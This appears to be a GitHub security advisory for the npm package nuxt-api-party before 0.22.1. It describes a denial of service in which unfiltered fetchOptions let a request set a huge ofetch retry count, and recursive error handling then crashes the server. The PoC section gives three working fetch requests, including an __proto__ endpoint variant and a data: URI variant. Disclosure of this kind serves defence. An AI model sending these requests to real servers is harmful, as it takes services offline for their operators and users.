GHSA-q6hx-3m4p-749h
DOS by abusing `fetchOptions.retry`.
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | nuxt-api-party | < 0.22.1 | 0.22.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests.
The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
### Details
`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`
](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
### PoC
POC using Node.
```js
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can use `__proto__` as a substitute for the endpoint if it is not known.
```js
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can build the size of the stack faster by using more complicated URIs
```js
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
### Impact
Full DOS, server is unusable during attack. Requires a single request.
### Fix
Limit which options can be passed to `ofetch`.
References
External links from the advisory. They lead to third-party sites.